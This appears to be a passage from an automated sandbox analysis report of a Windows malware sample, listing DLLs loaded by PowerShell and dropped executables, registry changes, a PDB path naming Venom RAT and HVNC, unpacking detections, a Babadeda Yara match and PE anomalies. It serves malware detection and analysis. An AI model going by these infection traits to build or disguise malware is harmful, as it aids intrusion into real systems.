Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: UWYXurYZ2x.exe

Static file information: File size 1908224 > 1048576

Source: UWYXurYZ2x.exe

Static PE information: Raw size of uxuphkme is bigger than: 0x100000 < 0x1a0200

Source:	Binary string: System.Windows.Forms.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DB000.00000004.00000020.00020000.00000000.sdmp, HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbMZ@ source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: mscorlib.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: System.ni.pdbRSDS source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: ntkrnlmp.pdb source: HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ..pdbd source: HNsLLEj.exe, 00000011.00000002.2355876831.0000000009EA8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\*23 source: HNsLLEj.exe, 00000011.00000002.2331442834.00000000014A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntkrnlmp.pdbx6 source: HNsLLEj.exe, 00000011.00000002.2389569567.000000000A1DB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: Handler.pdb source: HNsLLEj.exe, 0000000F.00000000.2304347901.0000000000732000.00000002.00000001.01000000.0000000F.sdmp, HNsLLEj.exe, 0000000F.00000002.2534657962.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, WER5B1A.tmp.dmp.20.dr
Source:	Binary string: System.Windows.Forms.pdb\ source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: usPaQ3D.exe, 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: System.ni.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: System.pdb source: WER5B1A.tmp.dmp.20.dr
Source:	Binary string: C:\AdminC4\Workspace\271551858\Project\Debug\Project.pdb source: 13Z5sqy.exe, 0000000A.00000002.2645336917.0000000001526000.00000002.00000001.01000000.0000000A.sdmp, 13Z5sqy.exe.5.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Unpacked PE file: 1.2.UWYXurYZ2x.exe.4e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uxuphkme:EW;uphougfc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe	Unpacked PE file: 22.2.bKIFsVe.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gyqqudfz:EW;uqvvkgld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gyqqudfz:EW;uqvvkgld:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Unpacked PE file: 47.2.b2ee16741f.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mqypurkv:EW;yfljshoc:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mqypurkv:EW;yfljshoc:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1039112001\fe4d890d0f.exe	Unpacked PE file: 57.2.fe4d890d0f.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xhiufuko:EW;afrfmmjg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xhiufuko:EW;afrfmmjg:EW;.taggant:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Unpacked PE file: 23.2.5f6d06eefa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	Unpacked PE file: 28.2.5f6d06eefa.exe.400000.0.unpack

Yara detected Babadeda

Source: Yara match	File source: 28.0.5f6d06eefa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.5f6d06eefa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.5f6d06eefa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.5f6d06eefa.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe, type: DROPPED

Source: HNsLLEj[1].exe.5.dr

Static PE information: 0x9855F33D [Tue Dec 27 16:01:01 2050 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x1dda7f should be: 0x1e61c6
Source: HNsLLEj.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x1872b
Source: usPaQ3D[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x306948
Source: b2ee16741f.exe.5.dr	Static PE information: real checksum: 0x1dda7f should be: 0x1e61c6
Source: WZMQlGj[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x5120c
Source: HNsLLEj[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x1872b
Source: bKIFsVe[1].exe.5.dr	Static PE information: real checksum: 0x1dc950 should be: 0x1d894a
Source: WZMQlGj.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x5120c
Source: random[2].exe.5.dr	Static PE information: real checksum: 0x1dc950 should be: 0x136935
Source: bKIFsVe.exe.5.dr	Static PE information: real checksum: 0x1dc950 should be: 0x1d894a
Source: random[1].exe.5.dr	Static PE information: real checksum: 0x1d33fa should be: 0x1d4534
Source: usPaQ3D.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x306948
Source: fe4d890d0f.exe.5.dr	Static PE information: real checksum: 0x1d33fa should be: 0x1d4534
Source: oldVNC.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x58c6ff
Source: oldVNC[1].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x58c6ff
Source: 5f6d06eefa.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x1efc0
Source: skotes.exe.1.dr	Static PE information: real checksum: 0x1d644b should be: 0x1d55f3
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x0 should be: 0x1efc0
Source: UWYXurYZ2x.exe	Static PE information: real checksum: 0x1d644b should be: 0x1d55f3
Source: eb15c414be.exe.5.dr	Static PE information: real checksum: 0x1dc950 should be: 0x136935

Source: UWYXurYZ2x.exe	Static PE information: section name:
Source: UWYXurYZ2x.exe	Static PE information: section name: .idata
Source: UWYXurYZ2x.exe	Static PE information: section name:
Source: UWYXurYZ2x.exe	Static PE information: section name: uxuphkme
Source: UWYXurYZ2x.exe	Static PE information: section name: uphougfc
Source: UWYXurYZ2x.exe	Static PE information: section name: .taggant
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: uxuphkme
Source: skotes.exe.1.dr	Static PE information: section name: uphougfc
Source: skotes.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: xhiufuko
Source: random[1].exe.5.dr	Static PE information: section name: afrfmmjg
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: fe4d890d0f.exe.5.dr	Static PE information: section name:
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: .idata
Source: fe4d890d0f.exe.5.dr	Static PE information: section name:
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: xhiufuko
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: afrfmmjg
Source: fe4d890d0f.exe.5.dr	Static PE information: section name: .taggant
Source: oavvDqT[1].exe.5.dr	Static PE information: section name: .symtab
Source: oavvDqT.exe.5.dr	Static PE information: section name: .symtab
Source: 13Z5sqy[1].exe.5.dr	Static PE information: section name: .textbss
Source: 13Z5sqy[1].exe.5.dr	Static PE information: section name: .msvcjmc
Source: 13Z5sqy[1].exe.5.dr	Static PE information: section name: .00cfg
Source: 13Z5sqy[1].exe.5.dr	Static PE information: section name: .fptable
Source: 13Z5sqy.exe.5.dr	Static PE information: section name: .textbss
Source: 13Z5sqy.exe.5.dr	Static PE information: section name: .msvcjmc
Source: 13Z5sqy.exe.5.dr	Static PE information: section name: .00cfg
Source: 13Z5sqy.exe.5.dr	Static PE information: section name: .fptable
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: gyqqudfz
Source: random[2].exe.5.dr	Static PE information: section name: uqvvkgld
Source: random[2].exe.5.dr	Static PE information: section name: .taggant
Source: eb15c414be.exe.5.dr	Static PE information: section name:
Source: eb15c414be.exe.5.dr	Static PE information: section name: .idata
Source: eb15c414be.exe.5.dr	Static PE information: section name:
Source: eb15c414be.exe.5.dr	Static PE information: section name: gyqqudfz
Source: eb15c414be.exe.5.dr	Static PE information: section name: uqvvkgld
Source: eb15c414be.exe.5.dr	Static PE information: section name: .taggant
Source: oldVNC[1].exe.5.dr	Static PE information: section name: .didata
Source: oldVNC.exe.5.dr	Static PE information: section name: .didata
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name:
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: .idata
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name:
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: gyqqudfz
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: uqvvkgld
Source: bKIFsVe[1].exe.5.dr	Static PE information: section name: .taggant
Source: bKIFsVe.exe.5.dr	Static PE information: section name:
Source: bKIFsVe.exe.5.dr	Static PE information: section name: .idata
Source: bKIFsVe.exe.5.dr	Static PE information: section name:
Source: bKIFsVe.exe.5.dr	Static PE information: section name: gyqqudfz
Source: bKIFsVe.exe.5.dr	Static PE information: section name: uqvvkgld
Source: bKIFsVe.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name: .code
Source: 5f6d06eefa.exe.5.dr	Static PE information: section name: .code
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: mqypurkv
Source: random[1].exe1.5.dr	Static PE information: section name: yfljshoc
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: b2ee16741f.exe.5.dr	Static PE information: section name:
Source: b2ee16741f.exe.5.dr	Static PE information: section name: .idata
Source: b2ee16741f.exe.5.dr	Static PE information: section name:
Source: b2ee16741f.exe.5.dr	Static PE information: section name: mqypurkv
Source: b2ee16741f.exe.5.dr	Static PE information: section name: yfljshoc
Source: b2ee16741f.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00EFD91C push ecx; ret	5_2_00EFD92F
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC558C08 pushad ; iretd	11_2_00007FFAAC558B69
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC537295 pushfd ; retf 5F4Ch	11_2_00007FFAAC5372F1
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC5203C8 push es; retn 7002h	11_2_00007FFAAC521279
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC51ED58 push eax; retn AC66h	11_2_00007FFAAC52C359
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Code function: 11_2_00007FFAAC558BF8 pushad ; iretd	11_2_00007FFAAC558B69
